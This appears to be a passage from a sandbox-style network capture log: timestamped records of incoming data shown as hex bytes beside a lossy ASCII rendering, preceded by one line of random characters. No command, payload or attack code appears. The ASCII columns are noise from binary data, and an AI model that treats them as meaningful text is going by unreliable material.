ltuMTAtR_-Zce)H?YEwO1<cFwX$UqI~f>]K2yorG(Cnow;;ocg-Y<g!{wIIMHb{'lJFUe)\J'j6,)#e=/BE
2022-07-21 02:34:44 UTC	2467	IN	Data Raw: dd bc 9e 5f f7 7f 87 3f c4 d5 a4 b3 7d 96 f2 48 a2 ff 00 5f 34 2a ef e6 47 fe b3 fd af fb e6 b0 a1 b6 9a 1f 2f ec b2 c7 fb e7 df e6 7f 1f fb 3b aa ad b6 a8 f0 c7 e6 cb 1c 9e 7a 43 f2 59 c7 fe ff 00 76 ae e7 4d cf 48 bd 3b 19 7b a5 a9 bf 79 7d 1c b6 be 65 c4 69 b5 3c cf f6 1b ff 00 1d ad 5b 6d 4b c8 92 48 bc c8 fc 88 7e 74 fe 0f 2f 77 fb dc d4 d6 8c 9a 6d 96 f9 e2 8f ed 57 5f 3b c7 1f dc 8f 77 4d a3 fb b5 5e 6b 5d 96 f7 31 79 72 7d a9 d3 cb 7f 2f fb fd 85 65 29 46 5e ec b6 33 f7 a2 72 5a 25 ce cd 7e 5d ff 00 bb 82 da 64 79 ad e3 f9 df 63 27 cc 36 a5 52 bc 5b 35 92 5b 29 e4 92 e1 26 76 9f ec f7 1b 3c e9 26 df bb 6f c9 c6 da b1 61 0c da 6e 93 26 b5 3c 7f 67 9f 7f 97 7b e5 c8 fb 36 2b f5 ff 00 7b d2 b2 b5 8d 2f ec ba d7 f6 95 85 ef f6 54 13 26 fb a8 ef 6d f7 Data Ascii: _?}H_4*G/;zCYvMH;{y}ei<[mKH~t/wmW_;wM^k]1yr}/e)F^3rZ%~]dyc'6R[5[)&v<&oan&<g{6+{/T&m
2022-07-21 02:34:44 UTC	2531	IN	Data Raw: 9f fe 24 d3 bf 9b 74 f6 7e 5a 3a 7d c0 9b 77 f4 dc fd ab 8d f0 9d 8e b5 ac 4b 73 7a d2 dc 7e fb cd 48 23 b6 91 e6 78 d1 b0 56 25 93 70 54 f9 7d ab b3 87 52 f1 0f 86 3e c3 2c b6 d1 ea 53 dd 3a 46 f7 b2 c8 f3 43 1c cd ff 00 2c 91 ba b7 c9 dc 0d bf 7a bb e9 e1 6a 6b 4e a3 e7 4b fa ea 5f 34 65 dc db f0 55 8c da a5 b9 36 12 5e 47 68 ee b2 25 c7 99 fb e7 45 4d ae ac ad f7 3e 6f f6 7e 6a d1 b3 d1 26 f0 c5 bd 95 c5 95 8d e7 ee 51 de 6d 3e 2d 8e f2 3e cf 96 57 76 3f 7b 77 04 d4 36 fa a0 4d 7f 48 d2 af 65 b6 d3 b6 79 57 5e 65 97 ef 9e e1 d7 2a b0 a6 e6 2e 89 ff 00 01 f9 aa fb 78 b7 47 f1 26 9b 2d a5 de af fd 93 3b bf fc b4 93 c8 7d 8b d7 ef 7f 09 af 17 1b 87 9c aa c5 e1 3d ea 6d 2e 6d 1e fb 6a 74 c6 5e ef 2c b7 2c e8 b6 c3 5e 8e 2d 63 55 b6 b7 b7 be 49 37 cf 1f 99 Data Ascii: $t~Z:}wKsz~H#xV%pT}R>,S:FC,zjkNK_4eU6^Gh%EM>o~j&Qm>->Wv?{w6MHeyW^e*.xG&-;}=m.mjt^,,^-cUI7
2022-07-21 02:34:44 UTC	2539	IN	Data Raw: db 77 cd ff 00 a0 d7 c9 63 30 3c b2 f6 90 d9 1d d1 a8 67 f8 ce 68 52 e2 47 b7 fd e4 68 8b ff 00 2c ff 00 d6 7f 9f 9a 9b e1 bb cb 37 b8 8e 5b 8f 2f fd 27 7a 24 7e 5f f1 af f7 87 f0 2d 76 2d 0d 9c d7 17 2e f1 47 27 c8 df bb 93 67 ee dd 7f bb f4 ae 42 1b 38 2f 2e ac ae 22 8e 3f 3e 67 de f6 fe 63 ef ff 00 23 ad 3a 35 23 3a 7e ce 57 d3 a9 8c be 2e 61 93 5e 5b 6a 97 37 b2 b4 5f 22 6e fe e3 fd df e2 ac f9 ff 00 b3 6d ee 7e cb 6b e5 d9 da 26 d4 4f e3 fb bd 7f 3a d6 fe ca b6 9a 4b 9b ad 3f cc 93 e4 f3 de 38 fe 4f 91 78 7f c9 bd 2a 92 68 ec d2 59 24 5e 5d c4 8e 8c e9 24 92 7c 9f 2a 7d df 9b fe 05 5d 70 94 76 57 f4 1f bc 47 71 0d cd 9f 9a f1 47 e5 ff 00 1f fc 01 ab a0 4b f7 bc d3 a3 b5 49 63 8d 36 2a 3c 91 ff 00 cb 4d c9 58 fa 5b 3e a9 e5 dd 4b fb b8 1f e4 49 3f db Data Ascii: wc0<ghRGh,7[/'z$~_-v-.G'gB8/."?>gc#:5#:~W.a^[j7_"nm~k&O:K?8OxhY$^]$\|}]pvWGqGKIc6*<MX[>KI?
2022-07-21 02:34:44 UTC	2571	IN	Data Raw: f8 ab d8 8c a5 89 8a 72 dc c7 97 94 dc d5 74 db 3d 43 4f 89 e2 b9 f3 20 f3 dd d3 cc fe fa ff 00 95 eb 5a f7 9a 5d b5 f6 89 1c a9 73 e6 4e e8 f2 79 92 7d ff 00 f2 7b 57 99 79 97 9a 95 bc a9 17 99 f7 3c c4 8f fb e9 bf 8d d5 b1 a3 ea 53 5e 58 f9 49 2d c4 73 cc fb fe cf 1f f0 3f 7e bf ee d3 a9 85 9c 62 9f 36 cc 8e 6e 62 3d 17 41 96 cf c4 5a fd 86 b5 e5 c7 6d 72 8b 75 65 27 97 f7 e6 fb bb 3f dd db ed 5b 3a 59 b6 5b 6f b3 c5 fc 13 fc 9e 5e ff 00 dd a3 73 b6 a6 d5 19 e6 92 4b 89 e5 fb 3f 9d 07 fc f4 fe ef cb fa ad 73 e1 9e c7 4a f3 65 8a 4f be af fb bf be e8 dc 2a fc bf c5 5a b9 cb 11 ac b7 d3 40 97 ba 75 09 36 cd 6a 29 56 48 e2 9e 14 f2 3f e0 6a ff 00 e7 9a e8 9f 48 49 b4 d8 d5 22 8f f7 2f f2 5b c9 fe cf fb d5 e6 73 5c c5 a1 db f9 b3 c9 1d bb a3 fc 92 49 26 c4 Data Ascii: rt=CO Z]sNy}{Wy<S^XI-s?~b6nb=AZmrue'?[:Y[o^sK?sJeO*Z@u6j)VH?jHI"/[s\I&
2022-07-21 02:34:44 UTC	2659	IN	Data Raw: c3 e6 44 a2 4b f6 b5 b7 92 48 16 28 fc e4 4f f9 67 27 f0 7f 08 7a 64 ba 3c 57 12 47 b3 fd 21 3e 6d f2 7f cb 1d 9f ed 37 f9 15 77 7a 25 c6 f7 fd e4 8e 9f 3c 7e 5f fa bf 4a 2e ef 21 8e df 7c b2 79 71 cc 8d b3 f8 fc bf f8 0d 67 cc ef ee 98 ca 3c a7 13 e1 5f 09 af 87 74 db 7d 36 ca 39 23 4b 99 fc f9 a3 92 4f 39 36 6c ff 00 d0 ab 94 f0 df 8b 35 1d 2f 52 bd fe d7 f2 e3 d2 ac fc d8 df fb 9b 17 ee f3 d1 5a ba 54 d5 35 1d 36 2d 6d de da de de 7d 3d 19 ed ac e3 93 7c ce 9f df db fd d1 4d 58 7f e1 3e f0 1f da 34 d8 fc cb bb f8 7f 7f e6 47 fe bd fb 6e ed b4 fb 57 d4 c6 4d 73 4f 13 66 a4 d2 b9 7f f5 ef ee 33 be cc c9 7b a4 ea 5e 1b 93 cc b1 7f de 5d 47 1c 89 bf e6 ff 00 96 ab fe 15 a0 f7 f6 7f da 5a 95 8d dc 92 49 24 df 3a 49 1f cf f3 ff 00 0e c1 4b 6b 16 9b 67 e1 df Data Ascii: DKH(Og'zd<WG!>m7wz%<~_J.!\|yqg<_t}69#KO96l5/RZT56-m}=\|MX>4GnWMsOf3{^]GZI$:IKkg
2022-07-21 02:34:44 UTC	2675	IN	Data Raw: 62 a3 5b 13 aa 86 d1 ea d1 e9 f2 fb be ef 52 df 84 75 2d 3f 55 f0 e5 cd 97 86 e4 b8 b6 9e 6b df 22 ea 4b 9f bf bf bf ca 7d 3b d4 6f 35 e7 87 ec be d1 75 ad f9 89 0d ef 91 07 ef 37 fd ad ff 00 e7 96 1f ee fc cb c5 71 7e 1f f1 55 cd ae ab 7d ab de db 5c 6f b6 d9 05 b6 a1 e5 a7 f1 7c d2 6d 41 fd e4 55 fd e3 70 b5 b3 e2 bd 4d 3c 4b 98 a5 b1 b7 b2 be 85 1e 7d 2e 4b 99 1d 27 8d 21 74 e7 1f 77 fd da cb 17 82 a9 2c 4b af cb ee 4d df a5 ff 00 af f8 21 10 f1 4f c3 3d 47 55 f8 a7 26 af 64 2e 23 82 e6 05 92 63 7b 22 6c 8f 6b e7 e4 88 7c df 5f 6a df 87 56 96 db c3 77 3a fd d4 b6 f6 cf f7 2e 6d ee 7f 73 6c ea b2 fc bb 5f ef 7f ab e8 95 56 1d 1e 6d 62 fb 43 d7 6e f5 7b c8 ae a0 fb 43 bf da 23 f2 1e e1 19 37 7e e1 93 ef 7c 8b f7 5e b8 bb 6d 29 35 8d 6f 43 74 fb 6c 97 6f Data Ascii: b[Ru-?Uk"K};o5u7q~U}\o\|mAUpM<K}.K'!tw,KM!O=GU&d.#c{"lk\|_jVw:.msl_VmbCn{C#7~\|^m)5oCtlo
2022-07-21 02:34:44 UTC	2809	IN	Data Raw: ff 00 be ff 00 71 be 6f fb eb ff 00 41 ab f7 93 59 da e9 de 55 bc 92 46 ef e6 a2 7d c7 f9 f9 fb c1 b3 fc 35 cc 59 e8 f7 96 d7 d6 57 57 46 38 ee 9d f6 3f 99 f3 fc 9f 5f f6 b7 71 5a fa 97 80 6f e6 d4 a5 49 7c cf 91 36 79 9e 67 cf bf f0 ac ea aa 6a a2 e6 a9 a6 e5 fb dc be ec 48 af 22 b3 9b c3 5f f1 f3 27 da d3 ef f9 9f 73 e6 72 bf b9 ff 00 6b d7 35 c5 68 97 5a 8d e5 bc 96 09 2f da 23 8f e4 4f de 6c f9 19 fb d7 70 ba 0d cf fa 6d ac 51 ff 00 a9 f9 12 48 f7 fe f3 fd bf f6 58 d6 3f 86 34 3f b1 ea d7 28 bf f2 db 6c 1f 67 8e 3f 9e 37 df fc 5f f7 cd 75 d1 ab 4e 34 e7 d7 aa 31 94 65 29 1d 97 87 b4 17 d6 2d a3 ff 00 4e f3 13 67 97 e5 fc e9 fe b3 e5 ff 00 be ab 8a 5f 05 a3 6a 57 ab 2f fa 88 66 f2 de 39 3e fe c5 f9 93 af ae da f4 8f 0a fd 9a ce 39 2c 27 93 cc 8e 67 67 Data Ascii: qoAYUF}5YWWF8?_qZoI\|6ygjH"_'srk5hZ/#OlpmQHX?4?(lg?7_uN41e)-Ng_jW/f9>9,'gg
2022-07-21 02:34:44 UTC	2825	IN	Data Raw: 02 ff 00 be 6b 9e 52 e7 a8 e3 27 dd 5c 88 fc 26 8d fd af 93 e6 3b 7f c0 fc bd ff 00 8d 73 ab 67 f6 18 f6 f9 5f e8 bf eb 3c bf 33 fe 59 7f f1 3d eb 46 3d 62 1b cf 0c 7d 97 cb ff 00 4b 78 5a ea 79 24 91 e6 fd f2 bf dc 7f ef 3d 60 a6 ab 79 79 75 fd 9e f1 c9 1f 92 9b de 39 3e 78 7f db 5c f5 e1 7d 2a a8 d2 a8 b9 93 7b 05 4e 50 86 e2 1b 1f 95 bc c9 3e 4f dd c9 1e ff 00 dc 7f 73 1f d7 ad 6d e9 f6 37 77 17 57 b6 57 52 47 27 da 5d 1d 2e 23 91 1f cb e9 f2 e7 a7 e1 50 ee b1 8a de 4d 92 7c 90 ba fe f2 48 f7 f9 6e bf ec ff 00 bd d4 d3 ec d5 e1 d5 a5 f2 a5 92 de ef 63 bb c9 ff 00 3d 3f fd 7d 6a aa 4b 9a 2e db 87 29 0c 36 2a 97 d7 36 71 49 24 71 db 22 ef 93 f8 f6 7f 03 74 fe f7 bd 55 f0 fd f4 de 5d cc 53 cb e6 3e f6 4b a9 3c cf 93 e5 fe 2f f3 f3 66 b4 2d dd d7 56 8e e3 Data Ascii: kR'\&;sg_<3Y=F=b}KxZy$=`yyu9>x\}{NP>Osm7wWWRG'].#PM\|Hnc=?}jK.)66qI$q"tU]S>K</f-V
2022-07-21 02:34:44 UTC	2913	IN	Data Raw: 57 0f 0e b7 63 a5 f8 a6 fb 5c d4 bf 77 aa dd 5b 44 93 5b fd c4 93 f8 7e ef f9 e6 bb 06 f3 bc 35 6f 27 91 6f 6f 24 ff 00 2b fd 9e e6 4d 89 bd be f2 b3 37 cb bb f1 ad 71 91 e7 ad 1a 8a 36 bd 9f cf af fc 39 3f 14 4e 6b e1 0e 95 a5 cd a4 f9 b7 17 d1 f9 96 d7 4f f6 af de 6f fb 27 97 f2 ac 9f 3e 3f 1a 6d ed d4 22 ca fa f6 58 e3 f3 e1 7d f6 b7 9f f2 c5 e6 93 3b 56 27 fe f7 bd 6d a5 8e 9d e1 7d 3a 46 b7 bd 92 ca d7 58 b9 fb 54 d2 6a 3f 3a 6c 7f 97 cb 5e a3 ef 35 54 f1 e4 2e be 13 b9 b0 5f b3 c7 71 65 f3 f9 7e 5e f4 8d 3a 79 4d 8f e3 66 fb a6 b5 f6 8a a6 27 99 5e d2 7f 71 1f 0c 79 4c 7f 0d d9 ea d6 7f 0f ad af e0 be 92 f7 58 9b fe 5d ff 00 82 3f 9f 1b 5f 6f f1 fd 2a cf 8b af 34 b7 92 e5 22 ff 00 47 4b 39 93 51 4b 3b 39 3f d5 ed e2 e3 85 fe 2f 9b f1 a6 d8 ac d2 78 Data Ascii: Wc\w[D[~5o'oo$+M7q69?NkOo'>?m"X};V'm}:FXTj?:l^5T._qe~^:yMf'^qyLX]?_o*4"GK9QK;9?/x
2022-07-21 02:34:44 UTC	2960	IN	Data Raw: 78 12 1d 9f 68 ff 00 77 9e ad 59 e2 39 63 4e fc aa 5e 86 91 f7 86 79 f7 fa 6d bc 8f 67 7d e5 f9 c8 9b 2c ff 00 e7 9b b7 cd bb fd 9c 6e a6 e8 77 96 f7 57 b2 d8 2c 92 59 df 5c ec 7f dd c9 f3 fc bf 7b 3d 3a b7 5a db bc d2 f4 b9 bc cb a4 b9 8e 38 e6 99 77 c9 fc 1b d7 b3 56 d4 7a 0d b6 97 e2 89 1a eb cb 93 f7 2e e9 1f 97 be 68 fe 4f 9b fd 96 52 bf 77 6d 79 32 c4 53 e5 97 bb af f9 15 cb 22 c4 32 58 cd a9 45 2d d5 b5 be ff 00 96 79 ae 24 ff 00 65 3f 8b a6 df bd 5b 7a c5 fd 8f f6 4d b4 b6 b7 1f 63 4d 91 7f cb 4d 8f 1a 37 f0 61 bf 81 b7 fa 7e 35 ce 6a 5a 3d e4 57 17 37 16 31 c7 71 3e a0 eb 1c de 67 c9 e6 23 6f de df f0 16 5a b5 37 87 15 ad a3 57 fd dd 8a 6d d9 1c 7b ff 00 77 32 e4 f1 f4 ed 5e 2c a3 4e 5c b2 72 3b 23 cc 68 f8 77 5a b0 d5 a3 96 e2 f2 28 fe c8 8f b3 Data Ascii: xhwY9cN^ymg},nwW,Y\{=:Z8wVz.hORwmy2S"2XE-y$e?[zMcMM7a~5jZ=W71q>g#oZ7Wm{w2^,N\r;#hwZ(
2022-07-21 02:34:44 UTC	2976	IN	Data Raw: 64 92 7d f4 46 f9 bb 7f 9f 4a c8 f1 4d bb c3 a6 d9 6a 56 f2 fd 9e ea da 66 df fc 6f 24 5b f6 ff 00 c0 ab ae 9d aa 4a 3d 99 c8 6b de 43 f6 99 2d ae ae ae 7c bf 31 ff 00 7d 27 97 fc 0d fe 15 95 e2 0d 1d e6 d2 63 b7 11 fd a3 7b ac 90 79 7f ec ff 00 17 ae da d8 bf b9 fb 77 db 6d 5a 3f b3 fc eb be 4f 33 e4 74 fb ad 53 2d ca 4d a0 49 13 5b 49 b2 d9 f7 f9 92 7f cb de df e2 ac 63 39 d2 b4 bc c5 2f 78 b5 67 78 93 58 db 3c b2 79 73 a7 fa e8 ff 00 e7 a2 2a 63 e7 6a cd b5 be 48 ee 6e 7f e5 a4 6e 8d 02 47 e5 fd ce 9f fa 0b 73 fa 52 78 36 e6 1f b3 dc a4 5e 65 c5 de c6 9d e3 93 e7 f3 3f d9 fc 3f 0a aa b3 5c d8 dd 44 92 c7 fb fb c4 5f 26 3f ee 3b 74 5d f5 1e cf de 92 2f 9b dd 89 5e 19 9e d3 c7 11 1b 79 3c b7 48 62 ff 00 47 fe 09 36 e7 fe fb 66 ef 5d 2c 37 2f aa 5c 45 e5 Data Ascii: d}FJMjVfo$[J=kC-\|1}'c{ywmZ?O3tS-MI[Ic9/xgxX<ys*cjHnnGsRx6^e??\D_&?;t]/^y<HbG6f],7/\E
2022-07-21 02:34:44 UTC	2992	IN	Data Raw: 4d 8a c3 cc 8f ec d0 fe fe cf ee 79 88 df fb 35 56 b6 8d 20 d3 ad af 2c 24 8e e1 2f 21 6d fe 67 c9 e5 ed fe 28 da a6 d3 7f 79 a7 5e d8 5d 5e fd a2 7d ed 24 f7 12 46 ff 00 b8 45 e9 e6 2f f1 fb 56 75 24 e5 b6 cb a1 af 2f ba 63 f8 52 19 b4 dd 2b 52 e6 de e3 ed 9f bf 4d 3e 38 ff 00 e3 ef 72 fd df f7 85 74 17 de 77 d9 a3 d4 16 28 ee 35 29 9f 7a 5b dc 7f cb 48 55 3f 80 7b 56 1f 86 f4 f9 5b c2 96 df 62 d4 7c cd 46 1b d7 9d 35 08 f6 3b fe 5f ee f6 ae 86 6b 94 bc d2 64 bd 8a 2f b3 dd db 3f cf 27 97 bf e7 fb ff 00 77 fb b5 35 e4 bd b3 7b eb 67 fd 7f 4c 71 f8 4e 41 5a 2d 62 4f ed ff 00 2a 3f b7 43 3f 91 75 1f 97 f3 fe f1 fe 46 93 77 dd f6 f9 6b a4 9a d2 db 4a b6 97 4d 7b 68 ee 2c 61 85 d3 cb 93 7f df fe 16 ff 00 6b fd 9a c5 d4 b5 8d 23 4a b7 95 ef ee 63 f3 35 07 57 Data Ascii: My5V ,$/!mg(y^]^}$FE/Vu$/cR+RM>8rtw(5)z[HU?{V[b\|F5;_kd/?'w5{gLqNAZ-bO*?C?uFwkJM{h,ak#Jc5W
2022-07-21 02:34:44 UTC	3040	IN	Data Raw: e4 d3 61 7d 49 62 92 4b 8b b4 86 dd 20 f2 fe 78 7e 5c ee df fd c6 fe ed 73 7b 49 46 a2 8b ec 5c 63 cc 37 c3 b7 97 36 7e 13 92 f5 7c cb 89 2c ee 97 f7 7f df db f3 9d fd 59 6b 53 c5 36 27 c5 96 36 d1 4b 1f db 3c 98 5a 08 2d fe 4d f0 6e 9b 71 db b2 b9 df 04 c3 7d 75 e2 2b 9d 42 de 38 ff 00 b3 91 d5 3f d5 fc f2 3f 1f 32 63 f8 be 6e f5 d3 6a 5f f1 2b ba 8e 58 bf 77 1b bb 3f 97 ff 00 3d 11 a5 da dc 71 f3 7f 93 5c 15 ff 00 75 5d 72 7c 5b ff 00 c0 36 8f bd 12 8c 37 d6 10 db c9 6f e5 db c6 90 a7 ee 6d e4 df e4 ef 54 dd f3 7f 12 af 6a cd d3 61 7b 1d 4a c9 24 b9 f2 ee 9d 3c f4 8e 49 3e 48 dd 77 94 54 ff 00 80 b7 af d6 b4 61 d3 4a ea d7 31 79 5e 5c f3 6d fd dc 9f f2 cf e7 4d bb 7f e0 55 05 c5 e7 fc 22 ba b6 a3 65 7b 6d 24 7e 77 dc 93 ef fd e4 3f 77 fd 91 f3 e7 f8 5b Data Ascii: a}IbK x~\s{IF\c76~\|,YkS6'6K<Z-Mnq}u+B8??2cnj_+Xw?=q\u]r\|[67omTja{J$<I>HwTaJ1y^\mMU"e{m$~w?w[
2022-07-21 02:34:44 UTC	3095	IN	Data Raw: 2d 3c 86 d9 fb bf 92 37 ff 00 65 7f 8b 1b b3 bb fd ba 92 f3 4d ff 00 84 82 df ed 53 fe ef f7 db 3c b9 23 d8 fb 15 f8 57 fe ed 66 58 de 3d 9d ec 93 bc 7e 65 f2 6c 44 ff 00 73 a6 ca ce ea 51 e5 ea ba 07 c2 6c cd 6b fb cb 6b 08 a5 92 e3 7d af fc 84 24 93 7f 96 95 9f e0 fd 1e 6b 13 65 6b e5 fd a2 09 91 60 7f 33 67 cf f7 cf f0 64 2f f9 f9 6b 7d e1 7b 7b dd 96 bf eb e6 4d fe 5f dc fb df fb 35 62 d9 cd 77 61 71 1f d9 e5 fd c6 ff 00 3d ff 00 81 fc ed 9f 35 61 1a 92 95 39 45 75 2e 51 e5 91 b0 df 69 b8 b7 b9 45 8e 4d fe 77 fa cf be 8f fc 3f 37 f9 f9 6b 6f c3 7a 7c 30 de cb 74 f1 7f a0 ef 68 1e 39 3f d9 4f cf 86 e2 b2 66 5f 3a 48 af 6d 63 93 cc b9 83 cc 7f de 6c f2 df ee ee dd fd ef 6a 6e 97 ad 4d a7 59 dc 45 6f e6 5c 3c 33 fc 9f bb f9 ff 00 d9 5f f6 fd eb 82 a4 25 Data Ascii: -<7eMS<#WfX=~elDsQlkk}$kek`3gd/k}{{M_5bwaq=5a9Eu.QiEMw?7koz\|0th9?Of_:HmcljnMYEo\<3_%
2022-07-21 02:34:44 UTC	3111	IN	Data Raw: ec 54 9e 1c d2 2d a7 f0 bd cf fc c2 a4 fb 6e f8 63 f2 dd 13 62 fc cb 1b 6d ce dc d6 9d fa ff 00 c2 59 a2 79 4f 1f 99 e7 43 e5 dd 47 f7 26 8d d7 ee b7 f7 b8 ac 9d 1f 6c 31 e9 da 6c f7 3f bf f3 bf 73 71 24 9b f7 ff 00 bc 7d fb 51 19 de 87 26 d2 4e ec a8 c7 de 26 d5 e6 9b c3 9e 28 8e f6 2b 29 24 82 68 5b fd 5d c7 cf ef b0 7f 1a 56 e5 b4 ce 9e 17 fe d5 8b cb 8e 7d fb d3 ed 1f e7 e6 6a 87 5a d1 d3 54 b1 b6 d2 a2 fd dd ed 9b bc c9 25 c7 c8 9f 33 f4 f3 2a 1b cb 7f ed 4b ab 68 af 7f d0 ff 00 b4 2f 7e 7f fa 66 91 ff 00 ec cf 5c cd c2 ac 63 dd 6f e6 91 a4 65 cb f0 9a 5a dd 9a 6b da 6d b3 c5 27 97 3d cc 3e 67 ee e3 f9 24 76 4f bd f8 7c dd eb 9b be d1 26 f1 05 c6 9d 61 2f 97 b2 3b 59 77 db de c9 f3 ba 7f 75 7f db 3d 6b ad 5f de ea 5a 95 bc 5e 67 f6 36 99 32 c1 f6 78 Data Ascii: T-ncbmYyOCG&l1l?sq$}Q&N&(+)$h[]V}jZT%3*Kh/~f\coeZkm'=>g$vO\|&a/;Ywu=k_Z^g62x
2022-07-21 02:34:44 UTC	3119	IN	Data Raw: bc bb 7b bd 8b 3b c7 1f c9 fc 18 ff 00 be fe 5a c8 f1 53 6a 9a 1f f6 6c 11 47 f6 8f 3a 66 79 bf 79 fc 7f c7 f3 7f 2a d2 d1 2e a1 d3 a3 8e e2 de 29 24 b5 44 64 fb 1c 91 ef f2 f7 7f aa f7 7c 52 9c 5f b1 8b 5f 20 e6 f7 8a 32 e9 bf 68 b2 8e e2 5b 68 e2 8d e7 8b ce 8e 4f c3 77 7f f3 d2 ac 78 92 fe 24 f1 26 89 a8 34 7e 67 9c 8b be e2 4f 91 3f bd b9 ba 8d db a9 66 9a c7 c3 fa 06 b7 14 d2 7f a5 db 26 f9 bc bf 9f f7 d2 3e ee ff 00 ce b3 35 2f b4 de 78 7f 4d 97 54 8f f7 ff 00 bd 78 63 8e 4f f5 7f 27 de 6f e7 55 04 e5 2e 69 6d 76 be f4 41 b7 a4 5e 43 a4 78 8e f6 c2 e2 db ed 29 0d aa cf 07 97 f7 de 6f f8 0f de f9 7e 5c d5 9d 73 54 9a df 51 b2 8a d6 e2 38 e7 ba 74 81 2c fc bd fe 7c 52 3e 1b fd dc 37 4f ce a1 b3 b9 5b 7b cb 6b d7 ff 00 48 b1 d4 13 ec bf ef ed 7d f8 f9 Data Ascii: {;ZSjlG:fyy*.)$Dd\|R__ 2h[hOwx$&4~gO?f&>5/xMTxcO'oU.imvA^Cx)o~\sTQ8t,\|R>7O[{kH}
2022-07-21 02:34:44 UTC	3135	IN	Data Raw: 2c bf 0a d6 a5 3e 59 34 b6 68 de 3f 09 36 b7 34 37 1e 5b cb fb bb a9 91 a0 7f 2f ee 48 9b 3e 74 dd d7 ef 73 4f d3 7e d7 69 63 70 92 de c7 1d 8b ef fb 2c 7f f3 e8 ea 9f 37 fb f5 3d e6 8f 0d df 85 f7 f9 5e 64 13 3b ba 49 e6 6c 74 45 fe e9 fe f5 64 43 79 34 d1 59 43 6f 2f da 2c 61 46 47 f3 23 44 78 f7 3f 3f 7b f8 bd 6b 08 7b d4 f9 57 46 69 2f 76 5e f1 a9 e1 b4 49 34 1b 68 1a e6 4f f4 5f 91 e4 93 fb ed f7 7f 3a bd 0c 36 f0 ea df 68 97 fd 1e ea e6 44 44 fd e7 cf f7 fe 6d bf c3 b7 fc f4 aa fa 3f d9 bf b3 8d bc 11 79 90 7f ac 49 23 f9 3c c4 5c fc df ed 54 57 91 49 71 75 65 6b 7f 1f da 3e 45 74 b8 8f e7 fe 0a e7 97 bd 52 57 24 b5 79 32 7d 8f cd 97 cb f3 11 f7 ff 00 a3 ff 00 cb 3d bf fb 37 cb 58 f6 10 bd e5 e5 cd 82 f9 92 4f f2 cf fd f7 f9 bf dd fe 10 8a b5 a7 24 Data Ascii: ,>Y4h?647[/H>tsO~icp,7=^d;IltEdCy4YCo/,aFG#Dx??{k{WFi/v^I4hO_:6hDDm?yI#<\TWIquek>EtRW$y2}=7XO$
2022-07-21 02:34:44 UTC	5024	IN	Data Raw: 1d ed cd e7 97 6f 6b 0f ee d2 48 fe 47 9f 6f eb 5d 1d 8d d7 f6 7d ad c6 af 71 27 db 34 ad 66 d5 7f 79 1c 7b 11 36 fc 9b 93 fb df 85 74 54 a1 2e 55 55 fd ad bc df fc 0d cc 63 20 d4 bc 45 6d e1 9d 5a 49 74 d8 e4 92 c6 e6 66 82 6f 2e 3f 92 d1 f7 fc cf f2 fd ec d6 e4 de 1c b4 d7 b4 1f b2 f9 7e 5f cf b1 e3 8f 63 ec f4 dc bf de db 5c 86 bb 6d 77 a5 dd 6d d2 e3 8e f6 fa 6b d5 93 ed 12 7c e8 89 27 f1 ed fe f7 bd 76 9a 4a 26 9b a6 fd b4 5c c9 70 90 a6 ff 00 f5 6f e7 49 32 fc bb 8a ff 00 76 b0 c4 45 46 9d 3a 94 de bf 99 51 f7 be 23 91 d5 fe dd e2 23 72 b1 49 fb 89 a6 f2 2c a3 b7 d9 be d1 e2 7f bf fe e9 db f3 57 5d a8 5c 25 de 93 f6 59 fe cf f6 e8 6d 7c cb d9 24 8f 63 ef fe ed 73 7a 6d cf 97 a8 c6 f6 b1 f9 73 cd 33 4f 37 ee fe 78 dd 7e ef fb b9 ab ba de b8 9e 5e a3 Data Ascii: okHGo]}q'4fy{6tT.UUc EmZItfo.?~_c\mwmk\|'vJ&\poI2vEF:Q##rI,W]\%Ym\|$cszms3O7x~^
2022-07-21 02:34:44 UTC	5032	IN	Data Raw: 84 72 f5 2e 64 f3 2e e1 ba 6f f4 8f e0 92 dd 93 ee 8f f8 15 63 15 ee 7b 42 e2 51 b8 5b eb 1b db 6b 5b a8 ff 00 b4 2c 5f 6c ef 24 7f f7 c6 5b 6f f1 0f cf f9 d7 55 79 69 6f 0e ab 73 15 97 ef 5e 3d b3 ff 00 b1 3e d7 c9 6d ad 9f ff 00 6b 15 cb ac 33 69 ba 95 ed ab 45 24 9f b9 5f 3a 4f e0 7f e2 f3 16 ba 69 2e 7e d7 a6 d8 ca 91 f9 92 4d 64 b1 c3 24 9f 7f 7f ce ac bf f7 cf f8 d5 56 7f 09 71 8c 64 32 d7 43 7d 52 da 47 6f 2f 7e c8 bf e5 a7 f1 f3 f3 7f df 35 b5 ab db fd bb e7 f2 a4 f2 1e 06 b5 ff 00 be 93 ef 73 fe f5 73 7e 0d 91 1b 5a d4 b4 54 fd e5 a3 ef 9e d6 49 36 3b fe ef e6 f9 db fd de d5 d2 b4 c9 61 a0 c6 af 2f da 3c 9b ad 8f e6 7c fe 66 d7 ff 00 d0 2b cd af cf 0a a9 5f d3 e6 5f bb ca 65 fc 3d b3 46 d2 6f 7e d1 14 7e 42 3b 48 92 47 f2 7f 9f 4f 6a 95 35 89 bf Data Ascii: r.d.oc{BQ[k[,_l$[oUyios^=>mk3iE$_:Oi.~Md$Vqd2C}RGo/~5ss~ZTI6;a/<\|f+__e=Fo~~B;HGOj5
2022-07-21 02:34:44 UTC	5048	IN	Data Raw: f5 fe ef 6e 29 d0 eb d0 a6 a5 be e2 3f 33 e4 5f de 7f 07 cd fa fe 15 05 f6 95 15 8d ed b5 ed bd cf cf 33 ec 7b 78 fe 7f 2d e4 4f be c8 7e ef d6 99 71 b9 b5 29 62 8a 38 fe c8 ff 00 bb ff 00 ae 7b 5f fc ff 00 5a b7 18 4a 2a fd 88 f7 a3 f1 16 bc 47 7d 35 d5 d7 9e 91 fe f1 f7 3f 97 6f fc 6f f7 14 e7 f9 53 f4 dd 1d 34 8d 37 ed 1e 6f f7 60 ff 00 62 36 6f f6 8f f1 1d d5 35 e4 4f 35 bc 52 db f9 76 f3 be d4 4f 2f f8 11 79 6e 6a c5 c5 ac cf 25 b5 95 bf fa 65 ac ce d0 79 7f f3 cd d7 fe 5a 6c e9 c7 dd ac 39 bd c5 15 a2 ff 00 22 cc 7b eb 84 d1 f3 ba 58 fe e6 c8 64 fe 09 1d be 53 fe ee 68 86 dd f4 d8 ee 52 79 7c b8 36 2c 13 c7 e6 3e c9 3e 7f e9 52 49 6c 9a 84 72 5a ff 00 cb 74 9f e4 93 fd 8f a1 fe ef fe 3d 51 c2 af 0e ad f6 7f 33 cd 92 17 f3 ee a3 8e 3f f5 9b b3 5b af Data Ascii: 